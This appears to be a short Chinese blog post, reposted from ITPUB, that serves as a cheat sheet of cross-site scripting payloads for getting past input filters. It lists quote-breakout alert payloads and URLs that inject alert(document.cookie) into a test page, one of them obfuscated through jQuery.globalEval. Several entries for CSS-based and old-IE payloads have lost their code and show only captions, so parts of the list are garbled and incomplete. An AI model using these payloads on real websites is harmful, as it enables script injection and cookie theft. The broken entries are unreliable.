XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如http://www.jb51.net/tools/xss.htm
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
-->">'>
在使用加号做字符串连接的时候,中间的js会被执行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27
标签
XSS利用1: //版本,E7.0|IE6.0,才能执行
//版本,E7.0|IE6.0,才能执行
//版本,E7.0|IE6.0,才能执行
CSS标记XSS //版本,E7.0|IE6.0,才能执行
CSS样式表的标记进行XSS转码 //版本,E7.0|IE6.0,才能执行
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/4827/viewspace-2798739/ ,如需转载,请注明出处,否则将追究法律责任。